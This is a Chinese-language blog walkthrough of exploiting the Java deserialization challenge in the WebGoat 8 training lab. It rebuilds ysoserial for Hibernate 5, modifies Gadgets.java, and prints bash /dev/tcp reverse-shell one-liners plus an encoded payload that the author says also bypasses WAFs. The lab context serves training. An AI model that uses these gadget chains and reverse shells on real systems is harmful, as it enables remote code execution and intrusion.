1. 程式人生 > >Java反序列化漏洞:在受限環境中從漏洞發現到獲取反向Shell

Java反序列化漏洞:在受限環境中從漏洞發現到獲取反向Shell

前言

Java反序列化漏洞可以說是Java安全的一塊心病,近年來更是在安全界“出盡風頭”。其實說到Java反序列化的問題,早在2015年年初的在AppSecCali大會上,兩名安全研究人員Chris Frohoff 和 Gabriel Lawrence發表了一篇題為《Marshalling Pickles》的報告,就詳細描述了Java反序列化漏洞可以利用Apache Commons Collections這個常用的Java庫來實現任意程式碼執行,甚至還提供了相應的Payload生成工具ysoserial。

通過物件序列化,開發人員可將記憶體中物件轉換為二進位制和文字資料格式進行儲存或傳輸。但是,從不受信任的資料反序列化物件可能會導致攻擊者實現遠端程式碼執行。

本文我將以WebGoat 8中的反序列化挑戰(部署在Docker上)為例,向大家展示完成該挑戰並進一步獲取目標反向shell的完整過程。

漏洞發現

正如挑戰中所提到的,易受攻擊的頁面從使用者輸入中獲取Base64格式的序列化Java物件,並不加過濾的對其進行反序列化操作。我們將通過提供一個序列化物件來利用這個漏洞,該物件將觸發面向屬性的程式設計鏈(POP鏈)以在反序列化期間實現遠端命令執行。在這裡插入圖片描述
啟動Burp並安裝一個名為Java-Deserialization-Scanner的外掛。該外掛主要包括2個功能:掃描以及基於ysoserial生成exploit。
在這裡插入圖片描述
掃描遠端端點後,Burp外掛將向我們返回以下報告內容:

Hibernate 5 (Sleep): Potentially VULNERABLE!!!
是個好訊息!

漏洞利用

現在,讓我們繼續下一步操作。點選exploitation選項卡以實現任意命令執行。在這裡插入圖片描述
從提示資訊來看,這個錯誤應該來自ysoserial。我們回到控制檯看看究竟是什麼問題。在這裡插入圖片描述
通過觀察ysoserial,我看到有兩種不同的POP鏈可用於Hibernate。但使用這些payload後,我發現它們都沒有在目標系統上成功執行。
在這裡插入圖片描述
那麼,外掛又是如何生成payload來觸發sleep命令的呢?

我決定檢視外掛的原始碼:

https://github.com/federicodotta/Java-Deserialization-Scanner/blob/master/src/burp/BurpExtender.java

經過一番仔細檢視,我發現原來payload在外掛的原始碼中是硬編碼的。因此,我們需要找到一種方法來生成相同的payload以使其正常工作。
在這裡插入圖片描述
基於一些研究和幫助我發現,通過修改當前版本的ysoserial可以使我們的payload正常工作。我下載了ysoserial的原始碼,並決定使用Hibernate 5重新對其進行編譯。想要使用Hibernate 5成功構建ysoserial,我們還需要將javax.el包新增到pom.xml檔案中。

此外,我還向原始專案傳送了一個Pull請求,以便在選擇hibernate5配置檔案時修復構建。
在這裡插入圖片描述
現在,我們就可以使用以下命令開始重新構建ysoserial了:

mvn clean package -DskipTests -Dhibernate5
然後,我們使用以下命令來生成payload:

java -Dhibernate5 -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar Hibernate1 “touch /tmp/test” | base64 -w0
在這裡插入圖片描述
我們可以通過以下命令訪問docker容器,來驗證我們的命令是否已成功執行:

docker exec -it <CONTAINER_ID> /bin/bash
可以看到我們的payload已在目標機器上成功執行了!
在這裡插入圖片描述
我們繼續列舉目標機器上的二進位制檔案。

[email protected]:/$ which php
[email protected]:/$ which python
[email protected]:/$ which python3
[email protected]:/$ which wget
[email protected]:/$ which curl
[email protected]:/$ which nc
[email protected]:/$ which perl
/usr/bin/perl
[email protected]:/$ which bash
/bin/bash
[email protected]:/$
只有Perl和Bash可用。讓我們嘗試生成一個可向我們傳送反向shell的payload。

以下是Pentest Monkeys上的一些單行反向shell:

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

我決定嘗試Bash反向shell:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
但你可能知道java.lang.Runtime.exec()具有一定的侷限性,它不支援重定向或管道等shell操作符。

讓我們試試Java編寫的反向shell。我將修改Gadgets.java上的原始碼,來生成反向shell payload。

以下是我們需要修改的路徑:

/root/ysoserial/src/main/java/ysoserial/payloads/util/Gadgets.java
從第116到118行。

下面是Pentest Monkeys上提到的一個Java反向shell,但依然無法正常工作:

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c",“exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do $line 2>&5 >&5; done”] as String[])
p.waitFor()
在進行了一番修改後,結果如下:

String cmd = “java.lang.Runtime.getRuntime().exec(new String []{”/bin/bash","-c",“exec 5<>/dev/tcp/10.0.0.1/8080;cat <&5 | while read line; do \$line 2>&5 >&5; done”}).waitFor();";
clazz.makeClassInitializer().insertAfter(cmd);
讓我們再次重建ysoserial,並測試生成的payload。
在這裡插入圖片描述
可以看到,這次我們成功獲取到了一個反向shell!
在這裡插入圖片描述
太棒了!
在這裡插入圖片描述
Payload生成過程概述

在研究過程中,我們發現了這個編碼器,它也可以幫助我們完成這個任務:

http://jackson.thuraisamy.me/runtime-exec-payloads.html

通過以下Bash反向shell命令:

bash -i >& /dev/tcp/[IP address]/[port] 0>&1
將會為我們生成如下payload:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xLzgwODAgMD4mMQ==}|{base64,-d}|{bash,-i}
另外,該編碼器還可用於繞過WAF哦!不信你就試試~《有興趣的朋友可以加QQ群947405150一起探討技術交流!!QQ群947405150》